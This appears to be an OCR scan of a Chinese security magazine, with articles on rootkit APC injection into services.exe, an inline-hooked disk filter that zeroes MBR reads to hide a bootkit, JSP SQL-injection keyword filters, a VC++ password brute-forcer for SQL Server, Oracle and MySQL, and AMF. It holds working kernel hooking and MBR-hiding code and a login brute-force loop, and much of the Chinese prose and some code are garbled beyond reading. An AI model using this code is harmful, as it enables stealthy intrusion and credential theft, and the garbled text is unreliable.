(*(UCHAR*) ((ULONG)pThread+Data.uStateOffset) == 5) &&
//WaitMode
(*(UCHAR*) ((ULONG)pThread+Data.uWaitModeOffset) == 1) &&
//Alertable

(((*(UCHAR*) ((ULONG)pThread+Data.uAlertableOffset) )& ata.AlertableMa
sk) == 0) )

{

break;
}
++pThreadInfo;

}

IR B A H FRERE TP R RS XA AT G 2« state by SCHI wait), wait mode
1 (Rl user mode), Jf HJZE alertable [f]. ASSCKE; user mode Z5A5 (LR R s —3
/& alertable, —2%/29F alertable. 7, alertable FIZEFERF A APC il K (144F, HIEA AR
alertable 2R FES—C AREMH, [IEWASTAAMN, UKL FE SN alertable. B
Pk o — R AP AME B 2RI AR X ), AT AT ey R AR E

W, FEER) APC B AHIANE? £ 1 £l r) i 1% Rootkit 1 AV B, [0 /41
Horp—Foi 4t 5% . £F hitmanpro X3k AV V& 84, #AEH T APC HiAR K WinExec —
MNP AR kickstart.exe, ER—3KRI AT, SR WTIEELRERINE? NEH K734
K&, hotmanpro == ZEiE i FI W2 F2E 11T wait reason SEHLIF], WK 1 BT,
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push ecx
mou edx, [ebp+CurThreadHumber]
push edx
push offset allPStateDReason ; “#%u %p state=%d reason=%d Zpirin®
push 3 ; Level
push 4Dh 5 ComponentId
call ds :DbgPrintEx
add esp, 28h
cmp UersionInformation.dwHajorUersion, 5
jbe short loc_11BB3
"I "L
moy eax, [ebp+CurThreadHumber]
shl eax, 6 loc_11BB3:
moy ecx, [ebp+pCurProcessInfoEntry]| mov ecx, [ebp+CurThreadNumber]
cnp dword ptr [ecx+eax+BFBh], BFh shl ecx, O
jnz short loc_11BB1 mnoy edx, [ebp+pCurProcessInfoEntry]
cnp dword ptr [edx+ecx+8FBh], OFh ; wait reason
L jz short loc_11BD?
I*_/
"I "=
mou edx, [ebp+Object] mou eax, [ebp+CurThreadHumber]
push edx shl eax, 6
moy eax, pWinExec moy ecx, [ebp+pCurProcessinfoEntry]
push eax cmp duord ptr [ecx+eax+B8FBh], 18h
call InjectExe jnz short loc_11BFA
push offset alnject ; "»>> Injecttyryn”
push 3 ; Level ‘ ‘
nuch hhh = Moamnnnaon +Td

Kl 1
T FI KT ZEFR K wait reason & 7542 OxOf B 0x10 SKIEFLFE, oxof Ell WrQueue, fij
0x10 B[l WrLpcReceive (T LLZ%#% KWAIT _REASON IXMMLZSKAD) . 158 1] LA T wait
reason P13 L3 % . VI, hitmanpro /&% APC 4 A 2| services.exe HEFEHK, 9 HAVE:
(R [1] services TR, EHESTAWERIMINERE . ERGIEFIZIPRESS, ZXBAUY
BUPASRIEER], AREPLARE R T LA, S8 A 208 nT L2,

HE | SRB 5K

X/ TR
SCHL SRB S HE ) () — AN BT RS SRR G AR/ i IV BRB)) F) SRB Ak B BR 2K
(IRP_MJ_SCSD) o A3l 22K H inline hook 4/ iy 1 IK A ) IRP_MJ_SCSI &b B by £ 2l 7 1L
StartlO &% LLSZHIL SRB 15 1) 1) FE 52 1]

HIHAk
WAL TAE T 2R BN /N s IR S IR B0 5, AR SCE Sk IR 3K 31K FDO %
7%, ARG AR FDO % H31 PDO ¥ 4%, 1l PDO L4 IE e WAt /i 1 IKBh AN iy, M43
T i/ sy VSRS (R BRI RGR,  FHICARBS T R
Data->DRxDevice = GetFdoDiskDevice(Data);
if (NULL == Data->DRxDevice)
{
DbgPrintEx(LOGMACRO, "GetFdoDiskDevice failure.\n");
return STATUS_UNSUCCESSFUL;

}

pDiskPDO =
( (PAVGER_DEVOBJEXT)Data->DRxDevice->DeviceObjectExtension)->AttachedTo;
while (pDiskPDO &&

( (PAVGER_DEVOBJEXT)pDiskPDO->DeviceObjectExtension)->AttachedTo)

{
pDiskPDO =
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((PAVGER_DEVOBJEXT)pDiskPDO->DeviceObjectExtension)->AttachedTo;

}

if (NULL == pDiskPDO)

{
DbgPrintEx(LOGMACRO, "pDiskPDO is NULL.\n");
return STATUS_UNSUCCESSFUL;

}

Data->PdoDiskDevice = pDiskPDO;
WEAE ) FDO T A& AREL V25 TOL3 —#F, I KOS AR IR BN I A e e AR BNFF Gk e
FAF A o
pDiskDev = pDiskDrv->DeviceObject;
while(pDiskDev)
{
pDeviceExtension = pDiskDev->DeviceExtension;
if (NULL != pDeviceExtension)

{
if (
pDeviceExtension->CommonExtension.IsFdo &&
pDeviceExtension->DiskGeometry.MediaType == FixedMedia
)
{
return pDiskDev;
}

}

pDiskDev = pDiskDev->NextDevice;

}

AR

PRI /N 1 SR B R SR S 0 %2 )5, 1EAT inlinehook.

if (gData.PdoDiskDevice->DriverObject->DriverStartIo)

{
ntStatus = InlineHookFn(

gData.PdoDiskDevice->DriverObject->DriverStartIo);

}

else

{
ntStatus = InlineHookFn(

gData.PdoDiskDevice->DriverObject->MajorFunction[IRP_MJ_SCSI]);
}

Inline hook [ /7 VMG L& AR 4N0E, F252 1K inline hook —H /& — MBI iH M, HALF

Uf 2R A S 2 L RE I e 2B B AEA SO HERE — FHAUE Y inline hook J5i, AT A #4 A
T, XATEM EREA T, 1 HAEZA Rootkit T AT
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NTSTATUS InlineHookFn(PVOID FunctionAddress)

{

NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;

BYTE *pProxyJmplLoc;

BYTE *pCode=NULL, *pProxyJmp=NULL;

ULONG UAttr;

BYTE jmp_orig_code[7] = { OxEA, o, 0, 0, 0, 0x08, 0x00 };
PMDL pMd1Proxy=NULL,pMdlCode=NULL;

if (*(WORD*)FunctionAddress != Oxff8b) //8bff mov edi,edi

{
return STATUS_UNSUCCESSFUL;

Oxaaaaaaaa))

}
pProxyJmpLoc = (BYTE*)((ULONG)HookedIRPHandler);
do
{
if ((*pProxyJmpLoc == ©xaa) && (*(ULONG*)pProxyJmpLoc ==
{
break;
}

} while (++pProxyJmplLoc);
pMdlCode = IoAllocateMdl((PVOID)((ULONG)FunctionAddress-5),

9,FALSE,FALSE,NULL);
if (NULL == pMdlCode)
{
goto _exit;
}
pMd1Proxy =

IoAllocateMdl ((PVOID)pProxydmpLoc,7,FALSE,FALSE,NULL);

if (NULL == pMdlProxy)
{
goto _exit;
}
MmBuildMd1lForNonPagedPool(pMdlCode);
MmBuildMd1lForNonPagedPool (pMd1lProxy);
pCode =

(BYTE*)MmMapLockedPagesSpecifyCache(pMdlCode,KernelMode,MmCached,

NULL,®©, (MM_PAGE_PRIORITY)®);
pProxyJmp =

(BYTE*)MmMapLockedPagesSpecifyCache(pMd1lProxy,KernelMode,

MmCached,NULL,®, (MM_PAGE_PRIORITY)®);
if (!pCode || !pProxyJmp)
{
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goto _exit;

}

pCode[@] = ©Oxe9;

*(ULONG*) ( (ULONG) pCode+1) =
((ULONG)HookedIRPHandler)-(ULONG)FunctionAddress;

*( (ULONG*) (jmp_orig code + 1) ) = (ULONG)FunctionAddress + 2 ;

memcpy (pProxyJmp,jmp_orig code,7);

_InterlockedExchange( (LONG*) ( (ULONG)pCode+5),0x8b55f9¢eb);

ntStatus = STATUS_SUCCESS;

_exit:
if (pCode)
{
MmUnmapLockedPages (pCode, pMd1lCode) ;
}
if (pProxyJmp)
{
MmUnmapLockedPages (pProxyJmp, pMd1Proxy);
}
if (pMdlCode)
{
IoFreeMdl(pMdlCode);
}
if (pMdlProxy)
{
IoFreeMdl(pMd1Proxy);
}

return ntStatus;

J B A2 A A (] B P K] NOP $i54 5 — 4% hook FRIBRFE R 4 o XA 5 IS Ab A2 52 B
SUBHCT HAR s BOTARAL I 2 A>3 10, AT RAE AR N SE i, R A% AT HE, i H.
BRGEFESR — A FR2 VWY, Ui O 1 2 ERRE Y ) AL

KT IXFIAI ] NOP 54 SEILAE inline hook ¥ 7775, 3 1] LAFFY & LUE NANIH] PR R,
CCUNZEEE R Y H b RO S A AN mov ediyedi, FTTHILAZE NOP #54: Lhlil x64. # & M+:
FHH RN FHERE AN (-128~127) %R 5 M KJE NOP 84, 1M1 x64 T NIYE
AN IS E AR 14 TR NOP 54, WERIER AT 14 ST, ATLLRO Y 648
ANy BEEAT XA Y R, R BT IMEIN, AT UECEIRRE (¥ x86/x64 inlinehook .
MR, WA AR R SR AT AT, AT AT /BERIK BSoD KU .

HA SR AR EEATIEDE, AR TS BLLBE I s i H S %

VOID AvgerFilterIrp(PDEVICE_OBJECT DeviceObject,PIRP Irp)

{
PSCSI_REQUEST_BLOCK pSRB;

PIO_STACK_LOCATIONpSP;
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ULONG uLBA,ulLBAhigh;
BOOLEAN bRead = FALSE,bWrite = FALSE,bFilter = FALSE;
USHORT i = ©;
PVOID pBuffer;
PVOID pDst,pSrc;
AvgerCompleteContext *pContext;
if (
DeviceObject->Type != IO _TYPE_DEVICE ||
Irp->Type != IO _TYPE_IRP
)

goto _exit;
}
pSp = IoGetCurrentIrpStackLocation(Irp);
if (NULL == pSp)
{
goto _exit;
}
pSRB = pSp->Parameters.Scsi.Srb;
if (NULL == pSRB)
{
goto _exit;
}
/I AEEL U8 B CRAE R
if ((ULONG)pSp->CompletionRoutine == (ULONG)RWComplete)
{
goto _exit;
}
if (pSp->MajorFunction != IRP_MJ_SCSI ||
PSRB->Function != SRB_FUNCTION EXECUTE_SCSI)

goto _exit;
}
bRead = pSRB->SrbFlags&SRB_FLAGS_DATA_1IN;
bWrite = pSRB->SrbFlags&SRB_FLAGS_DATA_OUT;
if ((bRead&8&bWrite) || (!bRead&&!bWrite))

{
goto _exit;
}
if (pSRB->CdbLength == CDB1OGENERIC_LENGTH)
{
uLBA = (pSRB->Cdb[2]<<24) | (pSRB->Cdb[3]<<16)
(pSRB->Cdb[4]<<8) | (pSRB->Cdb[5]);
}
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else

{
//not support

DbgPrintEx(LOGMACRO, "cdb length not support.\n");
goto _exit;

}
if (Irp->AssociatedIrp.SystemBuffer)
{
pBuffer = Irp->AssociatedIrp.SystemBuffer;
}
else if (Irp->MdlAddress)
{

if (
Irp->MdlAddress->MdlFlags

(MDL_MAPPED_TO_SYSTEM_VA|MDL_SOURCE_IS_NONPAGED_POOL)

)
{
pBuffer = Irp->MdlAddress->MappedSystemVa;
}
else
{
pBuffer = MmMapLockedPagesSpecifyCache(
Irp->MdlAddress,KernelMode,MmCached,
NULL, FALSE,NormalPagePriority);
}
}
else
{
goto _exit;
}
if (@ == ulLBA)
{

/125 FRANBIR
if (pSRB->DataTransferLength/gData.BytesPerSector == 0)
{
goto _exit;
}
if (bRead)
{
/1 % E R L
pContext = (AvgerCompleteContext*)ExAllocatePool(
NonPagedPool, sizeof(AvgerCompleteContext));
if (NULL == pContext)
{
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goto _exit;

}

pContext->pOrgCompletionRoutine = pSp->CompletionRoutine;

pContext->pOrgContext pSp->Context;
pContext->pOrgControl
pContext->LBA = uLBA;

pSp->Context = pContext;

pSp->Control;

pSp->Control =
SL_INVOKE_ON_SUCCESS|SL_INVOKE ON_ERROR|SL_INVOKE ON_CANCEL;

pSp->CompletionRoutine =
(PIO_COMPLETION_ROUTINE)((ULONG)AvgerIoCompletion);

goto _exit;

}
}
_exit:
return ;

AvgerFilterlrp Hid3& CDB10 hnvfEff) SRB, i 24l n] LAY 2 il )& CDB6/10/12/16 ks
#EY] SRB.

AHUERIS AR T, AR X & MBR, IS4 At IERR: SE A SRB iF kT
Bl He—A5E R E, AR AR SR 58 IR N 1 B 1R 58 IR 0K 2 e T, AR5 10 e 58 iR £
R MBR [N %5

NTSTATUS AvgerIoCompletion(PDEVICE_OBJECT DeviceObject,PIRP
Irp,PVOID Context)
{

NTSTATUS ntStatus = STATUS_SUCCESS;
PVOID pBuffer;
ULONG uLBA;
USHORT 1i,7;
PVOID pDst,pSrc;
PIO_STACK LOCATIONpSPp;
if (INT_SUCCESS(Irp->IoStatus.Status))
{
goto _exit;
¥
uLBA = ((AvgerCompleteContext*)Context)->LBA;
if (Irp->AssociatedIrp.SystemBuffer)

{
pBuffer = Irp->AssociatedIrp.SystemBuffer;
¥
else if (Irp->MdlAddress)
{
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if (Irp->MdlAddress->MdlFlags &
(MDL_MAPPED_TO_SYSTEM_VA|MDL_SOURCE_IS_NONPAGED POOL))
{
pBuffer = Irp->MdlAddress->MappedSystemVa;
}
else
{
pBuffer = MmMapLockedPagesSpecifyCache(
Irp->MdlAddress,KernelMode,MmCached,
NULL, FALSE,NormalPagePriority);
}
}
else
{
goto _exit;
}
if (uLBA == 0)
{
pDst = pBuffer;
memset (pDst,0,gData.BytesPerSector);
}
_exit:

// VK5 % CompletionRoutine
pSp = IoGetNextIrpStackLocation(Irp);
pSp->CompletionRoutine =
((AvgerCompleteContext*)Context)->pOrgCompletionRoutine;

pSp->Context = ((AvgerCompleteContext*)Context)->pOrgContext;
pSp->Control = ((AvgerCompleteContext*)Context)->pOrgControl;
ExFreePool(Context);
if ( (NT_SUCCESS( Irp->IoStatus.Status ) &&

pSp->Control & SL_INVOKE_ON_SUCCESS) ||

(INT_SUCCESS( Irp->IoStatus.Status ) &&

pSp->Control & SL_INVOKE_ON_ERROR) ||

(Irp->Cancel &&

pSp->Control & SL_INVOKE ON_CANCEL)

)

if (pSp->CompletionRoutine)
{

return
pSp->CompletionRoutine(DeviceObject, Irp,pSp->Context);

}
}

if (Irp->PendingReturned && (Irp->CurrentLocation <=
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Irp->StackCount))
{

IoMarkIrpPending(Irp);

}
return STATUS_SUCCESS;

}

BRI MBR A AT 2 T B0 B L, SERGR LT IRQL LLAS 7, 1E DISPATCH
G, DA ER AR R BN 5 2 IRV B T A A 23 o A A7 B, i UCHE—A™ Work Item
HoRA . SANER— ST ENEE, ST e k5.

T se sk B, T ANBEV ] 1oSetCompletionRoutine ¥ & 52 i pREU IR R, 1EN
—A> hook X&), A RMBAELEN L IEIRS), %A H AR 10 FRHoor), Bk Hgefib
NFEH 10 Moo I e s, AN EERIR AT 10 B oofE B

FTIEER R ISP BiEARS

X/ BT

NI Bt Web N IR R ORI 22 AT 2, XA DL Rl TR 6%
BHIE, TFAR SRR TR BT 5 (1) 7 SRR 1) A0 2 3 s VI () HE B, A e SR IR B2, A7
i I T 2 B A B A I L. T2, e N R IF A0 R B N RS, IXLE R
HATTEE Web NIRRT IF RN Gyt 2o 72 F P (M2 A i) i, I iy S Hb iy
MBTEN RG-SR O, HCE R P Y AL E, BnT LU B ABGE B E. 5
R IR N ZR G0 W2 ) FH B SRR Sl , L T 48 By ki, SCREZ BT, &
PRV IO R 2 R GE, AR TR IR A I B ) o W LI BIE N R G A
Xf ASP FRF, AR/D WEITE T USP R R M BE AN RS, AMALE ST saL F14 HL
HIRITEE S A HLEI A, PR T — Al 2L ISP BiiE AN RS, % RG0EH TR RS
ISP RS, (BN RIE. MR, FEPAS R TN 5eE, X B USRI S LG 5
ok, WAEAXNZA, BiEZ ZFRIE.

N T AEBAEAN RS BAT RUFE T, RYRH T JavaBean £AK . JavaBean J2 Java 2
JP (R —FP A 2548, SIS B BEHLE], o] DL 2 AN Bl i) — AN 2R A, S B
filt, LR — ML NIRRT, AMESAR P R R LR AR 14 1 R o T DR T AH DGR AEE
FARSEI AR SR To /s

—MFRUEN JavaBean AT LA N JLAMRRIE: LR —NAILE, BA public JEE; i
BRECAMEANSEL P getXXX R A LT3R B B JE VAR AT setxxX SRR A 3Ly
ERAE AN B AR . 2800k it , B — KT HIIH JavaBean, wJLUEIL setYear FHI
setMonth BB XA SIS H IR B PEAE, nTLLRIA] getCalendar $RHO B HE— N[l (1) H [T

7E ISP FEFH#i i JavaBean i, R LLWEE JavaBean (K4 1, RIYEFIVER . 5K
i, JavaBean [ A WX 734 page. request. session. application PUFFZETY . LEABLTEN
R, LB T page Al application WP Eay . Frt, page B W2 R 0Tk
SE M JavaBean 1 HIVE FIBR 6 Ay sl Ny, — H 0T W sg B E I BE RIS 2K . application
A R JE T4 RS B R A i A, X RS BB 1Y) JavaBean A FH TN IR 4RIEAT
R, BRAES AT IRSSAT 1B R A ST R
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ARZRGCKH T =4 JavaBean: blacklP 1T~ IP Huhl 2244 s, 1% JavaBean H] T HIWiij
] Web [ FHFRFI P kUi 1P bl 23 )E TR A, 8 TS BI2E bz P ). [\,
L7 P T saQL AN, HBGHEREBOE L R G BERN, 1% JavaBean X3 LHIFEZH]
FORYE 1P b i N R 44 5, BHIEIEAR S o sqlcheck A& X) H P $e A8 s b AT 2 4 i E 1Y)
JavaBean, FH CEEAUCHC vk St 9E, — HOREUH P4 A8 i 8ds Ar e AR k4%,
ST ZEAR B TV AU, RS E B 7 B, whitelist A2 BTN RS L
JavaBean, SZHL T PAPAIENLE], —FRE sQL I, —FORIEVE T, PRI LA T
PLdEAT saL EABGRRAE, (HAERVEEA R Nigi& HARSTIARS, X 8APEAN
RG—Nn.

blackIP [ SCHEAL T«

public void setblackIP(String ip) //1% A EUSEIUKG 45 %€ 1P Huhik I N SR 44

{
if(this.IPcount<100) //iX HL 1% 1P Mkt 2424 Fp i o 100
{
this.IP[this.IPcount] = ip;
this. IPcount =this. IPcount+1;
}
}
public int checkIP(String ip) //AS I 1P Huhil & 75 & T 2 44 HR.
{
if(this.IPcount!=0)
{
j=IPcount-i;
while(j>0)
{
if(ip.equals(this.IP[i]))
{
}
return res;
}
sqlcheck [1)OCBEARAS i T
public boolean docheck(String str)
{
String inj_str =

"and|exec|insert|select|delete | update | count|* | chr|mid | master|truncate | char|declare|;|or|-
[+],"/ /3R AT OB W, IR il S 15 s v s Bdle

String[] inj_stra=inj_str.split("\\|");

//return inj_stra.length;

for (inti=0 ; i < inj_stra.length ; i++)

{
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if (str.indexOf(inj_stra[i])>=0)
{

Whitelist () CBEACAS 1T
public boolean comparewhitelistSQL(String sql)

{

VR, TR T AR A, 4 R

String whitelists[];
whitelists = new String[5];
whitelists[0]="ZAK";
whitelists[1]="F= %";
whitelists[2]="3 %";
whitelists[3]="_L&}";
whitelists[4]=""T H";

String[] sql_stra=sql.split(""); //IX L& T sQL [ 4 FSZHALE], ZMLEMEH
JEERN, X BRER T EWIEA N R E NS, —HRTFRSEAETU LS

for (inti=0;i<5;i++)

{
if (sql_stra[1].equals(whitelists[i]))
{

return true;
}
}

return false;

public boolean SyntacticanalysisSQL(String sql)

{

String

inj_str

"and|exec|insert|select|delete|update | count|* | chr| mid | master|truncate | char|declare|or|-|

+,"

String[] inj_stra=inj_str.split("\\|");
inti;
int T=0;
for (i=0 ; i < inj_stra.length ; i++)
{
if (sql.indexOf(inj_stra[i])>=0)
{
break;
YA L& 0 F P Bdls REA T iR1VE o M
}

if(i<inj_stra.length)
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String[] sqgl_stra=sql.split(inj_strali]);

int statanum=sql_stra.length;

if(i==3)

{

if(statanum>2) T=statanum;

1 VAL Ji T3 AR o3 M 45 R 5 PR REA T TR R 23 B W
}

7t whitelist 71, 1527087 (1) J5 BT FRAT MR AL 4 1 A 15 1) 4 “ select * from xx where
id=x”, HEVEEIR N T1=1, “select * from xx where id=x and name=xx" HiEER R H T1=1,
T2=1, B ETEIEEHIE T1=1. T2=0, A, “select * from xx where id=x and name=xx"
RAJEWIERRAGT, REBSAHZeoR.

AT _LI&RK JavaBean, 75 JSP F2 7 H it nl LM T o Hor, blackIP 42011 52 iy application,
HEWE N page. M AN :

<jsp:useBean id="blackIP" class="antiSQL.blackIP"
scope="application"></jsp:useBean><jsp:useBean id="sglcheck" class="antiSQL.sqlCheck"
scope="page"></jsp:useBean><jsp:useBean id="whitelist" class="antiSQL.whitelist"

scope="page"></jsp:useBean>.

EH P A NFE ARk saL i ) e, EH I comparewhitelistSQL B
SyntacticanalysisSQL M 47 % 4= I Wr, B8 FAF . 8RS SR 0 B B i A A
SyntacticanalysisSQL #E47 1, comparewhitelistSQL 1& F T~ Bl Ay )0 — 5 B fr) saL 75 if) .
RS I, BRI AT RO RAF, SEaiie TRAPNFEANLGE RGN T L, RIS
Wi 1 s

3 http://localhost:8080/antiSQLinjection/checkall. jsp?checkflag=doantikuserid-testébooktype—kbook — Nicrosoft

IEE @EEO SEW LE0 TAQ W®HO
QFE- QO KRG Pr= dosex @ Rz M-l #r Bumke -

| HihE o @I] http:/flocalhost 8080/ antiSAlinjecti on/checkall. jsp?eheckil ag=doantiduserid=testdbooktype=fbookmum=#books each=¥EGHIBUET HESHADNAR and

test, FTIDEREY E)!

A8 E B

H AIERETEE ATt Il SyntacticanalysisSQL

FE127.00, B RETAELZ 2R, FHREIARITHEHIRE!

K1
ASCAR P H L ISP B N RS Har HE AN EARMEE, EXhRE Lkl LIETY R,
HIL R C g ) R R R R, AT UK A SO A IR B, TSR T 3 S Y
ISP BT EAN RS .

9 5 R PR R TR R R A%

SO/ RA K
FEASCZ |, B2 NAXRT C/C++iB F AL T E, DA AR SRR AT VC++ 6.0 EAT i s
LT o AR SEIL I BEATRE R 9 S BN F ISR 90 5% HE sl Server AAIY: '5
JEH; Oracle database ACHY; 25 &EH: MysQL Bl FE ALY, 4Gk, PR3 ETA H
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F A4 R
AR ve++6.0 Hr il MFC (Dialog Based) 3 H S8, Bt W 1 s,
S BRER IR E3
HPF. i
HAPa3rH
RS
SRR HEERSSER
" MysaL iF
(" SQL Serwer 0 Ii
" Oracle
b S
FrisiEaE I HiiH
K1
G BBNT- RS

FIRISAATPIA, DRI, AR SRS, R HE, AT
AR BRI, X AR RAET LA AS, ERIE BRI, KA R
HEHRREN FRA ] ) A . BEASOPE, ] G+ ifstream SO ART T AER, AN
T

/************************************************************/

/* pathfile SCE#% */

/***********************************************************/

std: :vector<std: :string> loadUid(char * pathfile)
{
using namespace std;
vector <string> list ;
char username[256]; /7% 4% 1rHh
ifstream fin;
fin.open(pathfile,ios::in);
while(Ifin.eof())
{
fin>>username;
list.push_back(std: :string(username));//j# )\ vector
}

fin.close();
return list;
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HEHE sQL Server FWT IEAAH L

=ANz o, e sQL Server 2 BRI . B, sQL Server BRIABAT HFJH AR
Bk OS2 8E K BE R4 P (T fE. BB, BRI VC XK T sQL Server SCFREE
Bhr, HEHAE ve M ADO st ry LU REEEHE sQL Server, AP S AR = T5 R .

BT E T % ADO. ADO (ActiveX Data Objects, ActiveX Z(HEXI4%) +& Microsoft £
(N IR P42 11 CAPD, F DASEIR D ) ¢ R BCAEC R8s 2 i %ids . 5 OLE DB #HLL, ADO
AR “Br7, AT OLE DB $24E T4 —MH: 11, i ADO [ B Iy #0822 ) F2 A
OLE DB. ADO #ft T X} H sk =2 #F, 1 OLE DB N n] AR % H i Eds & (7 X s 2,
B 7R R MEAR RSN, R FE Al AU E AR, an ERAG . SCESUI) BT e
Z R AR E 2 Fros.

NE FH FE Fr

L

ADO

1L

OLE DB

1L

ODBC

1L

K 2
WG, HEHNE ADO W] AR ESAT T, AW #ZS iR T ADO, T4
wifarfi FH ADO W ?
£ VC HHIH] ADO 7 Il B EIN s B JEHT 2T N ADO %2, ADO % AJ DL B AE i 1k
XA stdafx.h FFAN . HARARAG R

#import "C:\Program Files\Common Files\System\ado\msado15.dll" no_namespace
rename("EOF","rsEOF")

K2R EOF 78 VC RISk AR M S5 8, SCIHFE L EOF 4521, il St se, T304 EOF
44, rsEOF nJPLFEHEE, 1fif “C:\Program Files\Common Files\System\ado\msado15.dll” &
VC6 AL AT ). 3N ADO JEZJa, HURTLAE ve il T, PR

1. ¥4k OLE/COM FERBE

[X24 OLE DB /&£ COM, Ifij ADO /&% OLE DB [¥), ADO A E 4~ com 411+,
P LAEATH] ADO,  AZRSEHIAGA COM [ . HIAGAARIS AT LA “ Colnitialize(NULL);”, Vi ] 58
COM [E ), FEFETFEWH CoUnintialize BRALENZ COM [, 48K, L nJLISRH N AR #]
Uitk com

BOOL CXXXXAPP::InitInstance(){
AfxOlelnit();
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return TRUE;
}

2. EBYUEE
PR P 5 A8 _ConnectionPtr 28, IR TTIERERIR I, A0S0 F

_ConnectionPtr pConn(__uuidof(Connection));

CString
conStr.Format("'Provider=SQLOLEDB; Server=%s,%s ; Database=%s;Uid=%s;
Pwd=%s"") ;

pConn->ConnectionString=conStr.GetBuffer(0);

try

{

if(S_OK ==pConn->0Open(**™*,"",""" ,adConnectUnspecified))
{
17153
}catch(_com_error e)
{
VIEN
+
}

conStr AF I & SQL Server L FFFH, WAMRSHGEE. H A B WA
ConnectionPtr [{] Open WIS ER R MU 253l 50, WA IR R, P ma
2k, W R, AR IR B IR, IS P 4 B A e R AR Y, IS
AT LA A IR 24 5% 0

FEHE Oracle $54fE B A W IEAA 2585

Oracle £(## /%2 X%) ADO AN AKSCHE, RZ I ADO JE LS. ADO ARt REMS HE T
F] Oracle HHlE FERIER:, (HAEARZEFLL SYSDBA B4 i%E . 1M sys JH /7 A S ASLL sysdba & 477
EHz, B s, i ISR R R A B, WS U T & B R i
H ) S A5 B AR —RE, AN A2 DR R B 0y e e 2 B R ) . FE (102, Oracle 24
P PEAE oracle 10g. PAGIRRAH, ERUCKH T 10 IR E R IEB M BUE K 0 okms, bl
XoJ 7 0 (1) M B DA A AT 22 K LT, {HE Oracle AN sys T b T80 e , IR 1445
HILAR I JE LA sys K b

UL T, ADO i H sys K J'i%H#E Oracle database <l 745, % —J5T1fl, Oracle $#&{t
T occiv PROC *C HAKERAERAR A, (HXOKRREL T, FrAASCR A T H Oracle 1) sqlplus
T H AT 2 A

HOET M e T, AEHATAER, RP P Z2EE Oracle %/ b, 27 i
H A sqlplus dr A AT T H, WRLEE B BE . A T A STk B, sqlplus
username/password@//host:port/sid Ht/EW 1, 3= L1 ) B W AT a2 AT I ey ) e
SEA R P AT IEM . AT AT I AG A AT IR AT LA T ) R RS
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BOOL CSsdfDlg::ExecDosCmd(char * EXECDOSCMD)

{

SECURITY_ATTRIBUTES sa;
HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.blnheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{

return FALSE;
}
char command[1024];  /HKIA K Ay 24T, B H T
strcpy(command,"Cmd.exe /C ");
strcat(command,EXECDOSCMD);
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartuplinfo(&si);
si.hStdError = hWrite;
AT BERE AR RS R HH B E 1) 2 TE SN
si.hStdOutput = hWrite;
T C S SR PR A E i 1 R 1) 1 T g A\
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
115408, CreateProcess #1240 Xk £ [ MSDN
if ('CreateProcess(NULL,

command,NULL,NULL, TRUE,NULL,NULL,NULL,&si,&pi))

{
CloseHandle(hWrite);

CloseHandle(hRead);
return FALSE;

}
CloseHandle(hWrite);

char buffer[4096] = {0}; //JT] 4K 173 [] A4 B H 1) A 2%
DWORD bytesRead;

std::string result;

while (true)

{
if (ReadFile(hRead,buffer,4095,&bytesRead,NULL) == NULL)

break;

Iouffer HEEPATIER, T ULRAFRISCA, B n] BUE R

CloseHandle(hRead);
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return true;

}

S JLIXAEH sqlplus, AU ER KDL, WA “SQL>” 4 i i ILAE iy 21T
g, W BARER N UL sysdba G438k 5 S, & “ORA-28009” 157 Hi HHILE A &
ﬁimtlj, Serb, B RART A Ik i AR S W AN AT T IEA I 4

if(strstr(buffer, " "ORA-28009") I=NULL] |strstr(buffer,"SQL>")1=NU
LL)
//3RBENAZEL dba B3 F sk, Bl i SQL>
{
/73R BT IR P A
+

Horb strstr s ECE TR LB T A 2, WEREAREHER [ NULL.

HEHE MysQL s A W IE A

Fi1 Oracle database i H T K/ i e AN [H], MysQL SRH T 1P 2% 11 177 Sk BH b 5 0 i i
XTI, BT AMERSCE 1P 2 A6, TBEA BN A L1 T

A MysQL HiE FERSR AR AT ADO J5:, THESRH T MysaL & 144k ¢ #&H.
£ MySQL 2235 Hs 44k 2 include FI lib S (Ggangeefi ), Mol C
B RS RIS . BT EAMAR] VCe i, i HiTHE.

TENERENE, 1 stdafx.h i mysql (93 SCEE, 2R an N B

#include "winsock.h"

#include "mysql.h"

Wt it, “winsock.h” WAZAE “mysqgl.h” il

MySQL 1) RARRLIE 2 LU LT o

MYSQL mysql; // 48 2% 4% FAR
mysql_init (&mysql);
if(mysql_real_connect(&mysql,”host” ,"user” ,"pwd”,’db”,port ,NULL,0))
{
MessageBox(" & I");
mysql_close(&mysql);
break; /// st Bk

AR RIS IR IR 44 5

B IIWEH S 2 ES
B, EICRUREIEI, RN R, IR ARk

uidList=loadUid(userFile); //H ' &4
pwdList=loadPwd(pwdFile2); /544
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for(it=uidList.begin();it<uidList.end();it++)
JIEIRHE, it/it2 s s
{

stl=(*it);
for(it2=pwadlList.begin();it2<pwdList.end();it2++) //fE¥ H] &,
{
st2=(*it2);
[VERA R . BT, BTt PN E A
}
}

/NG5

AR S A s AR TR, T L Mysql 28 12 e Tk B R i v, A ah, ik
FH IO ZE R AR 43 312 SQL Server2005. MySQL 5.5+ Oracle 11g R2, T LAANRIE G HoAh fii A
HR, RAEGERBIMAL S KVER, Bl nl LAgh & 2 BT v oy, XS oK
K7

AM F3 Wi AR AE
— LR

RIS NEE e

AMF J& Action Message Format [fij5S, — R HEHIMEIRK =, k&0 T
actionscript HLIH % (955 Object. Array. Boolean. Number %5) P44k l— B — 3%
P, SR IR B B S A 45 A B RIAR Y, LR 4 i fR Ik 55 4%, 1o RS #8831,
N DA IX B R an R ok, BAIR B =N s AL I /E

AMF 7 B AMF A& —[RIE,  AMF 3 B2 — N0 0 package, S T hi
A SRR T EVERSEEAE, SR S A B H 2 B AT AME 5% SORIEAT A
AMF #0459 i H T NetConnection. SharedObject %5,

M T SR . F 2001 4F FLASH PLAYER6 £ T AMFO, 1X/& AMF 55— AR,
AMFO [ BT LEARTRT 5, 3 FLASH8 R R ARt At 4484k, 5ok AS3 itth, 5 78 Avm,
TRMMEF T 2 AMF3, SRR H R EUE S0 it R4, I HISCRE T
LS AR R, O bytearray &, HARHWRLEN ), KK H DL POF 3CHY.

